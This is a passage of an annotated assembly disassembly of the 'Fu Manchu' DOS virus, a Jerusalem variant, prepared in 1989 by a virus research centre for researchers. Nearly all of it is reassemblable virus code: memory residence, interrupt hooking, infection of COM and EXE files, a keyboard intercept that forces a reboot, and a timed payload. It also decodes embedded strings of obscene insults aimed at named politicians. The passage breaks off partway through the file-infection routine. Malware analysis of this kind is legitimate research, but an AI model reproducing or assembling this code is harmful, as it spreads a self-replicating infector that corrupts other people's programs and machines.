home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / FUMANCHU.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  30KB  |  945 lines

  1.     page    65,132
  2.     title    The 'Fu Manchu' Virus
  3. ; ╔══════════════════════════════════════════════════════════════════════════╗
  4. ; ║                 British Computer Virus Research Centre                   ║
  5. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  6. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  7. ; ║                                                                          ║
  8. ; ║                          The 'Fu Manchu' Virus                           ║
  9. ; ║                Disassembled by Joe Hirst,    June    1989                ║
  10. ; ║                                                                          ║
  11. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  12. ; ║                                                                          ║
  13. ; ║      This listing is only to be made available to virus researchers      ║
  14. ; ║                or software writers on a need-to-know basis.              ║
  15. ; ╚══════════════════════════════════════════════════════════════════════════╝
  16.  
  17.     ; The virus occurs attached to the beginning of a COM file, or the end
  18.     ; of an EXE file.  A COM file also has the six-byte 'marker' attached
  19.     ; to the end.
  20.  
  21.     ; This virus is a variation of the Jerusalem virus
  22.  
  23.     ; The disassembly has been tested by re-assembly using MASM 5.0.
  24.  
  25. RAM    SEGMENT AT 0
  26.  
  27.     ; System data
  28.  
  29.     ORG    3FCH
  30. BW03FC    DW    ?
  31. BB03FE    DB    ?
  32.     ORG    417H
  33. BB0417    DB    ?        ; Key states
  34.     ORG    46CH
  35. BB046C    DB    ?        ; System clock - low byte
  36.  
  37.     ORG    2CH
  38. ENV_SG    DW    ?        ; Segment address of environment
  39.  
  40. RAM    ENDS
  41.  
  42. RAM40    SEGMENT at 400H
  43.  
  44.     ORG    1AH
  45. BW041A    DW    ?            ; Key token in pointer
  46. BW041C    DW    ?            ; Key token out pointer
  47.     ORG    80H
  48. BW0480    DW    ?            ; Key token buffer start pointer
  49. BW0482    DW    ?            ; Key token buffer end pointer
  50.  
  51. RAM40    ENDS
  52.  
  53. CODE    SEGMENT BYTE PUBLIC 'CODE'
  54.     ASSUME CS:CODE,DS:NOTHING,ES:RAM
  55.  
  56.     ; Entry point when attached to a COM file
  57.  
  58. START:    JMP    BP0010
  59.  
  60.     DB    'sAX'
  61.  
  62. VR_SIG    DB    'rEMHOr'
  63.  
  64. VIR_RT    EQU    THIS DWORD
  65. V_RTOF    DW    100H
  66. V_RTSG    DW    323FH
  67.  
  68. INT_08    EQU    THIS DWORD
  69. I08OFF    DW    0106H            ; Int 8 offset
  70. I08SEG    DW    0E95H            ; Int 8 segment
  71.  
  72. INT_09    EQU    THIS DWORD
  73. I09OFF    DW    02E9H            ; Int 9 offset
  74. I09SEG    DW    0DC6H            ; Int 9 segment
  75.  
  76. INT_16    EQU    THIS DWORD
  77. I16OFF    DW    0            ; Int 16H offset
  78. I16SEG    DW    0            ; Int 16H segment
  79.  
  80. INT_21    EQU    THIS DWORD
  81. I21OFF    DW    138DH            ; Int 21H offset
  82. I21SEG    DW    029BH            ; Int 21H segment
  83.  
  84. INT_24    EQU    THIS DWORD
  85. I24OFF    DW    04EBH            ; Int 24H offset
  86. I24SEG    DW    3228H            ; Int 24H segment
  87.  
  88. BEGIN    DW    0            ; Initial value for AX
  89. F_SIZE    DW    49H            ; Total file size
  90. TCOUNT1    DW    0            ; Timer count (low)
  91. TCOUNT2    DW    0            ; Timer count (high)
  92. ST_ES1    DW    3195H            ; Original ES
  93. SET_PA    DW    00A2H
  94.  
  95.     ; Program parameter block
  96.  
  97. PPB_01    DW    0            ; Environment address
  98. PPB_02    DW    0080H            ; Command line offset
  99. PPB_03    DW    3195H            ; Command line segment
  100. PPB_04    DW    005CH            ; FCB1 offset
  101. PPB_05    DW    3195H            ; FCB1 segment
  102. PPB_06    DW    006CH            ; FCB2 offset
  103. PPB_07    DW    3195H            ; FCB2 segment
  104.  
  105. PRG_SP    DW    0            ; Initial stack pointer store
  106. PRG_SS    DW    31A5H            ; Initial stack segment store
  107. PROGRM    EQU    THIS DWORD
  108. PRGOFF    DW    0            ; Initial code offset store
  109. PRGSEG    DW    31A5H            ; Initial code segment store
  110. SS_ST1    DW    0            ; Store for system area data (1)
  111. SS_ST2    DB    86H            ; Store for system area data (2)
  112.  
  113.     ; .EXE header store
  114.  
  115. EXEHED    DB    4DH, 5AH        ; 00 .EXE header ident
  116. EXHD01    DW    0070H            ; 02 Bytes in last page
  117. EXHD02    DW    0006H            ; 04 Size of file in pages
  118. EXHD03    DW    0000H            ; 06 Number of relocation entries
  119. EXHD04    DW    0020H            ; 08 Size of header in paragraphs
  120. EXHD05    DW    0000H            ; 0A Minimum extra storage required
  121. EXHD06    DW    -1            ; 0C Maximum extra storage required
  122. EXHD07    DW    0005H            ; 0E Initial stack segment
  123. EXHD08    DW    ENDADR            ; 10 Initial stack pointer
  124. EXHD09    DW    1988H            ; 12 Negative checksum
  125. EXHD10    DW    0223H            ; 14 Initial code offset
  126. EXHD11    DW    0005H            ; 16 Initial code segment
  127.     DW    01EH            ; 18 Relative offset of reloc table
  128.     DW    0            ; 1A Overlay number
  129.  
  130. SIGBUF    DB    069H, 06FH, 06EH, 00DH, 00AH, 024H
  131. F_HAND    DW    5            ; File handle
  132. F_ATTS    DW    0020H            ; File attributes
  133. F_DATE    DW    1273H            ; File date
  134. F_TIME    DW    4972H            ; File time
  135. F_SIZ1    DW    0250H            ; Low-order file size
  136. F_SIZ2    DW    0            ; High-order file size
  137. F_PATH    EQU    THIS DWORD
  138. FPTHOF    DW    3D5BH            ; Program pathname offset
  139. FPTHSG    DW    9B70H            ; Program pathname segment
  140. COM_CM    DB    'COMMAND.COM'
  141. EXE_SW    DB    0            ; EXE switch - 0 = .COM extension
  142. MEM_SW    DW    1            ; Memory allocated switch
  143. OUT_SW    DB    0            ; Output in progress switch
  144. BYTSEC    DW    0200H            ; Bytes per sector
  145. PARAGR    DW    0010H            ; Size of a paragraph
  146.  
  147.         ; The next fields are encrypted, and translate to:
  148.  
  149. ;STRNG1    DB    'fu manchu virus 3/10/88 - latest in the new fun line!', 0
  150. ;STRNG2    DB    'thatcher is a cunt ', 0
  151. ;STRNG3    DB    'reagan is an arsehole ', 0
  152. ;STRNG4    DB    'botha is a bastard ', 0
  153. ;STRNG5    DB    'waldheim is a Nazi ', 0
  154. ;STRNG6    DB    'fuck', 8, 8, 8, 8, 0
  155. ;STRNG7    DB    'cunt', 8, 8, 8, 8, 0
  156. ;STRNG8    DB    'The world will hear from me again!   ', 0
  157.  
  158. STRNG1    DB    0C9H, 0DAH, 08FH, 0C2H, 0CEH, 0C1H, 0CCH, 0C7H
  159.     DB    0DAH, 08FH, 0D9H, 0C6H, 0DDH, 0DAH, 0DCH, 08FH
  160.     DB    09CH, 080H, 09EH, 09FH, 080H, 097H, 097H, 08FH
  161.     DB    082H, 08FH, 0C3H, 0CEH, 0DBH, 0CAH, 0DCH, 0DBH
  162.     DB    08FH, 0C6H, 0C1H, 08FH, 0DBH, 0C7H, 0CAH, 08FH
  163.     DB    0C1H, 0CAH, 0D8H, 08FH, 0C9H, 0DAH, 0C1H, 08FH
  164.     DB    0C3H, 0C6H, 0C1H, 0CAH, 08EH, 0
  165. STRNG2    DB    0DBH, 0C7H, 0CEH, 0DBH, 0CCH, 0C7H, 0CAH, 0DDH
  166.     DB    08FH, 0C6H, 0DCH, 08FH, 0CEH, 08FH, 0CCH, 0DAH
  167.     DB    0C1H, 0DBH, 08FH, 0
  168. STRNG3    DB    0DDH, 0CAH, 0CEH, 0C8H, 0CEH, 0C1H, 08FH, 0C6H
  169.     DB    0DCH, 08FH, 0CEH, 0C1H, 08FH, 0CEH, 0DDH, 0DCH
  170.     DB    0CAH, 0C7H, 0C0H, 0C3H, 0CAH, 08FH, 0
  171. STRNG4    DB    0CDH, 0C0H, 0DBH, 0C7H, 0CEH, 08FH, 0C6H, 0DCH
  172.     DB    08FH, 0CEH, 08FH, 0CDH, 0CEH, 0DCH, 0DBH, 0CEH
  173.     DB    0DDH, 0CBH, 08FH, 0
  174. STRNG5    DB    0D8H, 0CEH, 0C3H, 0CBH, 0C7H, 0CAH, 0C6H, 0C2H
  175.     DB    08FH, 0C6H, 0DCH, 08FH, 0CEH, 08FH, 0E1H, 0CEH
  176.     DB    0D5H, 0C6H, 08FH, 0
  177. STRNG6    DB    0C9H, 0DAH, 0CCH, 0C4H, 0A7H, 0A7H, 0A7H, 0A7H, 0
  178. STRNG7    DB    0CCH, 0DAH, 0C1H, 0DBH, 0A7H, 0A7H, 0A7H, 0A7H, 0
  179. STRNG8    DB    0FBH, 0C7H, 0CAH, 08FH, 0D8H, 0C0H, 0DDH, 0C3H
  180.     DB    0CBH, 08FH, 0D8H, 0C6H, 0C3H, 0C3H, 08FH, 0C7H
  181.     DB    0CAH, 0CEH, 0DDH, 08FH, 0C9H, 0DDH, 0C0H, 0C2H
  182.     DB    08FH, 0C2H, 0CAH, 08FH, 0CEH, 0C8H, 0CEH, 0C6H
  183.     DB    0C1H, 08EH, 08FH, 08FH, 08FH, 0
  184.  
  185.         ; Each entry is:
  186.         ;            DB    length to find
  187.         ;            DB    length found
  188.         ;            DW    pointer to string
  189.  
  190. TABLE    DB    10, 0
  191.     DW    STRNG1
  192.     DB    9, 0
  193.     DW    STRNG2
  194.     DB    7, 0
  195.     DW    STRNG3
  196.     DB    6, 0
  197.     DW    STRNG4
  198.     DB    9, 0
  199.     DW    STRNG5
  200.     DB    4, 0
  201.     DW    STRNG6
  202.     DB    4, 0
  203.     DW    STRNG7
  204.     DB    0
  205. TABOUT    DW    0            ; Table entry for output
  206.  
  207.     ; Key number table for fake input
  208.  
  209. KEYTAB    DB    03H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H    ; 00 - 07
  210.     DB    0EH, 0FH, 1CH, 25H, 26H, 1CH, 31H, 18H    ; 08 - 0F
  211.     DB    19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H    ; 10 - 17
  212.     DB    2DH, 15H, 2CH, 01H, 2BH, 1BH, 07H, 0CH    ; 18 - 1F
  213.     DB    39H, 02H, 28H, 04H, 05H, 06H, 08H, 28H    ; 20 - 27
  214.     DB    0AH, 0BH, 09H, 0DH, 33H, 0CH, 34H, 35H    ; 28 - 2F
  215.     DB    0BH, 02H, 03H, 04H, 05H, 06H, 07H, 08H    ; 30 - 37
  216.     DB    09H, 0AH, 27H, 27H, 33H, 0DH, 34H, 35H    ; 38 - 3F
  217.     DB    03H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H    ; 40 - 47
  218.     DB    23H, 17H, 24H, 25H, 26H, 32H, 31H, 18H    ; 48 - 4F
  219.     DB    19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H    ; 50 - 57
  220.     DB    2DH, 15H, 2CH, 1AH, 2BH, 1BH, 07H, 0CH    ; 58 - 5F
  221.     DB    29H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H    ; 60 - 67
  222.     DB    23H, 17H, 24H, 25H, 26H, 32H, 31H, 18H    ; 68 - 6F
  223.     DB    19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H    ; 70 - 77
  224.     DB    2DH, 15H, 2CH, 1AH, 2BH, 1BH, 29H, 0EH    ; 78 - 7F
  225.  
  226.     ; This section assumes a COM origin of 100H
  227.  
  228.  
  229. BP0010:    CLD
  230.     MOV    AH,0E1H            ; Virus "are you there" call
  231.     INT    21H            ; DOS service (Virus - 1)
  232.     CMP    AH,0E1H            ; Test for unchanged
  233.     JNB    BP0020            ; Branch if invalid reply
  234.     CMP    AH,4            ; Test for standard "yes"
  235.     JB    BP0020            ; Branch if non-standard
  236.     MOV    AH,0DDH            ; Replace program over virus
  237.     MOV    DI,0100H        ; Initial offset
  238.     MOV    SI,OFFSET ENDADR    ; Length of virus
  239.     ADD    SI,DI            ; Add initial offset
  240.     MOV    CX,F_SIZE[DI]        ; Get total filesize
  241.     INT    21H            ; DOS service (Virus - 2)
  242.  
  243.     ; Virus not in system, or non-communicating variety
  244.  
  245. BP0020:    MOV    AX,CS            ; Get current segment
  246.     ADD    AX,10H            ; Address past PSP
  247.     MOV    PRG_SP,SP        ; Save current value
  248.     MOV    SS,AX            ; \ Set up stack
  249.     MOV    SP,OFFSET ENDADR+100H    ; /
  250.     PUSH    AX            ; Segment for return
  251.     MOV    AX,OFFSET BP0030    ; \ Offset for return
  252.     PUSH    AX            ; /
  253.     RETF                ; "Return" to next instruction
  254.  
  255.     ; We now have an origin of zero
  256.     ; Entry point when attached to an EXE file
  257.  
  258. BP0030:    CLD
  259.     PUSH    ES
  260.     MOV    ST_ES1,ES        ; Save original ES
  261.     MOV    PPB_03,ES        ; \
  262.     MOV    PPB_05,ES        ;  ) Segments in PPB
  263.     MOV    PPB_07,ES        ; /
  264.     MOV    AX,ES            ; \ Segment relocation factor
  265.     ADD    AX,10H            ; /
  266.     ADD    PRGSEG,AX        ; Initial code segment store
  267.     ADD    PRG_SS,AX        ; Initial stack segment store
  268.     MOV    AH,0E1H            ; Virus "are you there" call
  269.     INT    21H            ; DOS service (Virus - 1)
  270.     CMP    AH,0E1H            ; Test for unchanged
  271.     JNB    BP0040            ; Branch if not
  272.     CMP    AH,4            ; Test for standard "yes"
  273.     POP    ES
  274.     MOV    SS,PRG_SS        ; Initial stack segment store
  275.     MOV    SP,PRG_SP        ; Initial stack pointer store
  276.     JMP    PROGRM            ; Start of actual program
  277.  
  278.     ; Virus is not already active
  279.  
  280. BP0040:    XOR    AX,AX            ; \ Address page zero
  281.     MOV    ES,AX            ; /
  282.     MOV    AX,BW03FC        ; \ Save system area data (1)
  283.     MOV    SS_ST1,AX        ; /
  284.     MOV    AL,BB03FE        ; \ Save system area data (2)
  285.     MOV    SS_ST2,AL        ; /
  286.     MOV    BW03FC,0A4F3H        ; Store   REPZ  MOVSB
  287.     MOV    BB03FE,0CBH        ; Store   RETF
  288.     POP    AX            ; \
  289.     ADD    AX,10H            ;  ) Address past PSP
  290.     MOV    ES,AX            ; /
  291.     PUSH    CS            ; \ Set DS to CS
  292.     POP    DS            ; /
  293.     MOV    CX,OFFSET ENDADR    ; Length of virus
  294.     XOR    SI,SI            ; \ Clear registers
  295.     MOV    DI,SI            ; /
  296.     PUSH    ES            ; \
  297.     MOV    AX,OFFSET BP0050    ;  ) Set up return address
  298.     PUSH    AX            ; /
  299.     DB    0EAH            ; \ Far jump to move instruction
  300.     DW    BW03FC, 0        ; /
  301.  
  302. BP0050:    MOV    AX,CS            ; \
  303.     MOV    SS,AX            ;  ) Set up internal stack
  304.     MOV    SP,OFFSET ENDADR+100H    ; /
  305.     XOR    AX,AX            ; \ Address page zero
  306.     MOV    DS,AX            ; /
  307.     ASSUME    DS:RAM,ES:NOTHING
  308.     MOV    AX,SS_ST1        ; \ Restore system area data (1)
  309.     MOV    BW03FC,AX        ; /
  310.     MOV    AL,SS_ST2        ; \ Restore system area data (2)
  311.     MOV    BB03FE,AL        ; /
  312.     MOV    BX,SP            ; Get stack pointer
  313.     MOV    CL,4            ; \ Convert to paragraphs
  314.     SHR    BX,CL            ; /
  315.     ADD    BX,10H            ; Allow for PSP
  316.     MOV    SET_PA,BX        ; Save number of paragraphs
  317.     MOV    ES,ST_ES1        ; Get original ES
  318.     MOV    AH,4AH            ; Set block
  319.     INT    21H            ; DOS service (Set block)
  320.     MOV    AX,3521H        ; Get interrupt 21H
  321.     INT    21H            ; DOS service (Get int)
  322.     MOV    I21OFF,BX        ; Save interrupt 21H offset
  323.     MOV    I21SEG,ES        ; Save interrupt 21H segment
  324.     PUSH    CS            ; \ Set DS to CS
  325.     POP    DS            ; /
  326.     ASSUME    DS:CODE
  327.     MOV    DX,OFFSET BP0170    ; Interrupt 21H routine
  328.     MOV    AX,2521H        ; Set interrupt 21H
  329.     INT    21H            ; DOS service (Set int)
  330.     MOV    ES,ST_ES1        ; Get original ES
  331.     ASSUME    ES:RAM
  332.     MOV    ES,ES:ENV_SG        ; Get environment segment
  333.     XOR    DI,DI            ; Start of environment
  334.     MOV    CX,7FFFH        ; Allow for 32K environment
  335.     XOR    AL,AL            ; Search for zero
  336. BP0060:    REPNZ    SCASB            ; Find zero
  337.     CMP    ES:[DI],AL        ; Is following character zero
  338.     LOOPNZ    BP0060            ; Search again if not
  339.     MOV    DX,DI            ; Save pointer
  340.     ADD    DX,3            ; Address pathname
  341.     MOV    AX,4B00H        ; Load and execute program
  342.     PUSH    ES            ; \ Set DS to ES
  343.     POP    DS            ; /
  344.     PUSH    CS            ; \ Set ES to CS
  345.     POP    ES            ; /
  346.     ASSUME    DS:RAM,ES:NOTHING
  347.     MOV    BX,OFFSET PPB_01    ; PPB (for load and execute)
  348.     PUSH    DS
  349.     PUSH    ES
  350.     PUSH    AX
  351.     PUSH    BX
  352.     PUSH    CX
  353.     PUSH    DX
  354.     PUSH    CS            ; \ Set DS to CS
  355.     POP    DS            ; /
  356.     ASSUME    DS:CODE
  357.  
  358.         ; Install interrupt 9 routine
  359.  
  360.     MOV    AX,3509H        ; Get interrupt 9
  361.     INT    21H            ; DOS service (Get int)
  362.     MOV    I09OFF,BX        ; Save interrupt 9 offset
  363.     MOV    I09SEG,ES        ; Save interrupt 9 segment
  364.     MOV    AX,2509H        ; Set interrupt 9
  365.     MOV    DX,OFFSET BP0150    ; Interrupt 9 routine
  366.     INT    21H            ; DOS service (Set int)
  367.  
  368.     MOV    AH,2AH            ; Get date
  369.     INT    21H            ; DOS service (Get date)
  370.     CMP    CX,07C5H        ; Year = 1989
  371.     JL    BP0070            ; Branch if before
  372.     CMP    DH,8            ; Month = August
  373.     JL    BP0070            ; Branch if before
  374.  
  375.         ; Install interrupt 16H routine
  376.  
  377.     MOV    OUT_SW,0        ; Set off output switch
  378.     MOV    AX,3516H        ; Get interrupt 16H
  379.     INT    21H            ; DOS service (Get int)
  380.     MOV    I16OFF,BX        ; Save interrupt 16H offset
  381.     MOV    I16SEG,ES        ; Save interrupt 16H segment
  382.     MOV    AX,2516H        ; Set interrupt 16H
  383.     MOV    DX,OFFSET BP0540    ; Interrupt 16H routine
  384.     INT    21H            ; DOS service (Set int)
  385.  
  386. BP0070:    MOV    BL,BB046C        ; Get low byte of system clock
  387.     MOV    BH,BL            ; Copy
  388.     AND    BX,0F00FH        ; Isolate nibbles
  389.     CMP    BL,0            ; Is low nibble of clock zero?
  390.     JNE    BP0080            ; Branch if not
  391.     MOV    CL,4            ; Bits to move
  392.     SHR    BH,CL            ; Move top nibble to bottom
  393.     CMP    BH,0            ; Is second nibble of clock zero?
  394.     JE    BP0080            ; Branch if yes
  395.     XOR    AX,AX            ; Clear register
  396.     MOV    TCOUNT1,AX        ; Set timer count (low)
  397.     MOV    AL,BH            ; Get second nibble of system clock
  398.     MOV    TCOUNT2,AX        ; Set timer count (high)
  399.  
  400.         ; Install interrupt 8 routine
  401.  
  402.     MOV    AX,3508H        ; Get interrupt 8
  403.     INT    21H            ; DOS service (Get int)
  404.     MOV    I08OFF,BX        ; Save interrupt 8 offset
  405.     MOV    I08SEG,ES        ; Save interrupt 8 segment
  406.     MOV    AX,2508H        ; Set interrupt 8
  407.     MOV    DX,OFFSET BP0100    ; Interrupt 8 routine
  408.     INT    21H            ; DOS service (Set int)
  409.  
  410. BP0080:    POP    DX
  411.     POP    CX
  412.     POP    BX
  413.     POP    AX
  414.     POP    ES
  415.     POP    DS
  416.     ASSUME    DS:NOTHING
  417.     PUSHF                ; Fake an interrupt
  418.     CALL    INT_21            ; Interrupt 21H (Load and execute)
  419.     PUSH    DS            ; \ Set ES to DS
  420.     POP    ES            ; /
  421.     MOV    AH,49H            ; Free allocated memory
  422.     INT    21H            ; DOS service (Free memory)
  423.     MOV    AH,4DH            ; Get return code of child process
  424.     INT    21H            ; DOS service (Get return code)
  425.     MOV    AH,31H            ; Keep process
  426.     MOV    DX,OFFSET ENDADR    ; Length of program
  427.     MOV    CL,4            ; \ Convert to paragraphs
  428.     SHR    DX,CL            ; /
  429.     ADD    DX,10H            ; Add length of PSP
  430.     INT    21H            ; DOS service (Keep process)
  431.  
  432.     ; Interrupt 24H
  433.  
  434. BP0090:    XOR    AL,AL            ; Ignore the error
  435.     IRET
  436.  
  437.     ; Interrupt 8
  438.  
  439. BP0100:    SUB    TCOUNT1,1        ; \ Subtract from timer count
  440.     SBB    TCOUNT2,0        ; /
  441.     JNZ    BP0140            ; Branch if not zero
  442.     CMP    TCOUNT1,0        ; Is low count zero?
  443.     JNZ    BP0140            ; Branch if not
  444. BP0110:    PUSH    CS            ; \ Set DS to CS
  445.     POP    DS            ; /
  446.     MOV    AX,3            ; Mode three
  447.     INT    10H            ; VDU I/O
  448.     MOV    AH,2            ; Move cursor
  449.     MOV    BH,0            ; Page zero
  450.     MOV    DX,0A14H        ; Row ten column twenty
  451.     INT    10H            ; VDU I/O
  452.     MOV    SI,OFFSET STRNG8    ; Address message
  453. BP0120:    LOOP    BP0120            ; Delay between characters
  454.     LODSB                ; Get a character
  455.     CMP    AL,0            ; Is that the end?
  456.     JE    BP0130            ; Branch if yes
  457.     XOR    AL,0AFH            ; Decrypt character
  458.     MOV    AH,14            ; Write in TTY mode
  459.     INT    10H            ; VDU I/O
  460.     JMP    BP0120            ; Next character
  461.     
  462. BP0130:    DB    0EAH            ; Far jump to BIOS initialisation
  463.     DW    0FFF0H, 0F000H
  464.  
  465. BP0140:    JMP    INT_08            ; Interrupt 8
  466.  
  467.     ; Interrupt 9
  468.  
  469.     ASSUME    DS:RAM
  470. BP0150:    PUSH    AX
  471.     PUSH    BX
  472.     PUSH    DS
  473.     XOR    AX,AX            ; \ Address zero
  474.     MOV    DS,AX            ; /
  475.     IN    AL,60H            ; Get keyboard token
  476.     MOV    BL,BB0417        ; Get key states
  477.     TEST    BL,8            ; Alt key depressed?
  478.     JZ    BP0160            ; Branch if not
  479.     TEST    BL,4            ; Ctrl key depressed?
  480.     JZ    BP0160            ; Branch if not
  481.     CMP    AL,53H            ; Del character token?
  482.     JNE    BP0160            ; Branch if not
  483.     AND    BL,0F3H            ; Set off Alt & Ctrl states
  484.     MOV    BB0417,BL        ; Replace key states
  485.     IN    AL,61H            ; Get Port B
  486.     MOV    AH,AL            ; Save value
  487.     OR    AL,80H            ; Set on keyboard reset bit
  488.     OUT    61H,AL            ; Output port B
  489.     XCHG    AL,AH            ; Recover original Port B value
  490.     OUT    61H,AL            ; Output port B
  491.     JMP    BP0110            ; Message and reboot
  492.  
  493. BP0160:    POP    DS
  494.     POP    BX
  495.     POP    AX
  496.     JMP    INT_09            ; Interrupt 9
  497.  
  498.     ; Interrupt 21H
  499.  
  500. BP0170:    PUSHF
  501.     CMP    AH,0E1H            ; Virus "are you there" call
  502.     JNE    BP0180            ; Branch if other call
  503.     MOV    AX,0400H        ; Standard "yes"
  504.     POPF
  505.     IRET
  506.  
  507. BP0180:    CMP    AH,0DDH            ; Virus move and execute COM call
  508.     JE    BP0200            ; Branch if yes
  509.     CMP    AX,4B00H        ; Is it load and execute
  510.     JNE    BP0190            ; Branch if not
  511.     JMP    BP0210            ; Process load and execute
  512.  
  513. BP0190:    POPF
  514.     JMP    INT_21            ; Interrupt 21H
  515.  
  516.     ; Move program down and execute (COM only) call
  517.  
  518.     ASSUME    DS:NOTHING
  519. BP0200:    POP    AX
  520.     POP    AX            ; Retrieve return offset
  521.     MOV    AX,100H            ; Replace with start address
  522.     MOV    V_RTOF,AX        ; Store in return jump
  523.     POP    AX            ; Retrieve return segment
  524.     MOV    V_RTSG,AX        ; Store in return jump
  525.     REPZ    MOVSB            ; Restore program to beginning
  526.     POPF
  527.     MOV    AX,BEGIN        ; Start with zero register
  528.     JMP    VIR_RT            ; Start actual program
  529.  
  530.     ; Process load and execute program
  531.  
  532. BP0210:    MOV    F_HAND,-1        ; No file handle
  533.     MOV    MEM_SW,0        ; Set off memory allocated switch
  534.     MOV    FPTHOF,DX        ; Save pathname offset
  535.     MOV    FPTHSG,DS        ; Save pathname segment
  536.     PUSH    AX
  537.     PUSH    BX
  538.     PUSH    CX
  539.     PUSH    DX
  540.     PUSH    SI
  541.     PUSH    DI
  542.     PUSH    DS
  543.     PUSH    ES
  544.     CLD
  545.     MOV    DI,DX            ; Point to file pathname
  546.     XOR    DL,DL            ; Default drive
  547.     CMP    BYTE PTR [DI+1],3AH    ; Test second character for ':'
  548.     JNE    BP0220            ; Branch if not
  549.     MOV    DL,[DI]            ; Get drive letter
  550.     AND    DL,1FH            ; Convert to number
  551. BP0220:    MOV    AH,36H            ; Get disk free space
  552.     INT    21H            ; DOS service (Get disk free)
  553.     CMP    AX,-1            ; Test for invalid drive
  554.     JNE    BP0240            ; Branch if not
  555. BP0230:    JMP    BP0530            ; Terminate
  556.  
  557. BP0240:    MUL    BX            ; Calc number of free sectors
  558.     MUL    CX            ; Calc number of free bytes
  559.     OR    DX,DX            ; Test high word of result
  560.     JNZ    BP0250            ; Branch if not zero
  561.     CMP    AX,OFFSET ENDADR    ; Length of virus
  562.     JB    BP0230            ; Terminate if less
  563. BP0250:    MOV    DX,FPTHOF        ; Get pathname offset
  564.     PUSH    DS            ; \ Set ES to DS
  565.     POP    ES            ; /
  566.     XOR    AL,AL            ; Test character - zero
  567.     MOV    CX,41H            ; Maximum pathname length
  568.     REPNZ    SCASB            ; Find end of pathname
  569.     MOV    SI,FPTHOF        ; Get pathname offset
  570. BP0260:    MOV    AL,[SI]            ; Get pathname character
  571.     OR    AL,AL            ; Test for a character
  572.     JZ    BP0280            ; Finish if none
  573.     CMP    AL,61H            ; Test for 'a'
  574.     JB    BP0270            ; Branch if less
  575.     CMP    AL,7AH            ; Test for 'z'
  576.     JA    BP0270            ; Branch if above
  577.     SUB    BYTE PTR [SI],20H    ; Convert to uppercase
  578. BP0270:    INC    SI            ; Address next character
  579.     JMP    BP0260            ; Process next character
  580.  
  581. BP0280:    MOV    CX,0BH            ; Load length 11
  582.     SUB    SI,CX            ; Address back by length
  583.     MOV    DI,OFFSET COM_CM    ; 'COMMAND.COM'
  584.     PUSH    CS            ; \ Set ES to CS
  585.     POP    ES            ; /
  586.     MOV    CX,0BH            ; Load length again
  587.     REPZ    CMPSB            ; Compare
  588.     JNE    BP0290            ; Continue if not command.com
  589.     JMP    BP0530            ; Terminate
  590.  
  591. BP0290:    MOV    AX,4300H        ; Get file attributes
  592.     INT    21H            ; DOS service (Get attributes)
  593.     JB    BP0300            ; Follow chain of error branches
  594.     MOV    F_ATTS,CX        ; Save file attributes
  595. BP0300:    JB    BP0320            ; Follow chain of error branches
  596.     XOR    AL,AL            ; Scan character - zero
  597.     MOV    EXE_SW,AL        ; Set EXE switch off
  598.     PUSH    DS            ; \ Set ES to DS
  599.     POP    ES            ; /
  600.     MOV    DI,DX            ; Pointer to pathname
  601.     MOV    CX,41H            ; Maximum pathname length
  602.     REPNZ    SCASB            ; Find end of pathname
  603.     CMP    BYTE PTR [DI-2],4DH    ; Is last letter 'M'
  604.     JE    BP0310            ; Branch if yes
  605.     CMP    BYTE PTR [DI-2],6DH    ; Is last letter 'm'
  606.     JE    BP0310            ; Branch if yes
  607.     INC    EXE_SW            ; Set EXE switch on
  608. BP0310:    MOV    AX,3D00H        ; Open handle, read only
  609.     INT    21H            ; DOS service (Open handle)
  610. BP0320:    JB    BP0330            ; Follow chain of error branches
  611.     MOV    F_HAND,AX        ; Save file handle
  612.     MOV    BX,AX            ; File handle
  613.     CMP    EXE_SW,0        ; Test EXE switch
  614.     JE    BP0340            ; Branch if off
  615.  
  616.     ; Test EXE file for infection
  617.  
  618.     MOV    CX,1CH            ; Length of EXE header
  619.     MOV    DX,OFFSET EXEHED    ; .EXE header store
  620.     MOV    AX,CS            ; \
  621.     MOV    DS,AX            ;  ) Make DS & ES same as CS
  622.     MOV    ES,AX            ; /
  623.     ASSUME    DS:CODE
  624.     MOV    AH,3FH            ; Read handle
  625.     INT    21H            ; DOS service (Read handle)
  626. BP0330:    JB    BP0370            ; Follow chain of error branches
  627.     CMP    EXHD09,1988H        ; Negative checksum
  628.     JNE    BP0360            ; Branch if not infected
  629.     JMP    BP0350            ; Dont infect
  630.  
  631.     ASSUME    DS:NOTHING
  632. BP0340:    MOV    AX,4202H        ; Move file pointer
  633.     MOV    CX,-1            ; \ End of file minus 6
  634.     MOV    DX,-6            ; /
  635.     INT    21H            ; DOS service (Move pointer)
  636.     JB    BP0320            ; Follow chain of error branches
  637.     ADD    AX,6            ; Total file size
  638.     MOV    F_SIZE,AX        ; Save total file size
  639.     MOV    CX,6            ; Length to read
  640.     MOV    DX,OFFSET SIGBUF    ; Infection test buffer
  641.     MOV    AX,CS            ; \
  642.     MOV    DS,AX            ;  ) Make DS & ES same as CS
  643.     MOV    ES,AX            ; /
  644.     ASSUME    DS:CODE
  645.     MOV    AH,3FH            ; Read handle
  646.     INT    21H            ; DOS service (Read handle)
  647.     MOV    DI,DX            ; Address test buffer
  648.     MOV    SI,OFFSET VR_SIG    ; Signature
  649.     REPZ    CMPSB            ; Compare signatures
  650.     JNE    BP0360            ; Branch if not infected
  651. BP0350:    MOV    AH,3EH            ; Close handle
  652.     INT    21H            ; DOS service (Close handle)
  653.     JMP    BP0530            ; Terminate
  654.  
  655. BP0360:    MOV    AX,3524H        ; Get interrupt 24H
  656.     INT    21H            ; DOS service (Get int)
  657.     MOV    I24OFF,BX        ; Save interrupt 24H offset
  658.     MOV    I24SEG,ES        ; Save interrupt 24H segment
  659.     MOV    DX,OFFSET BP0090    ; Interrupt 24H routine
  660.     MOV    AX,2524H        ; Set interrupt 24H
  661.     INT    21H            ; DOS service (Set int)
  662.     LDS    DX,F_PATH        ; Address program pathname
  663.     XOR    CX,CX            ; No attributes
  664.     MOV    AX,4301H        ; Set file attributes
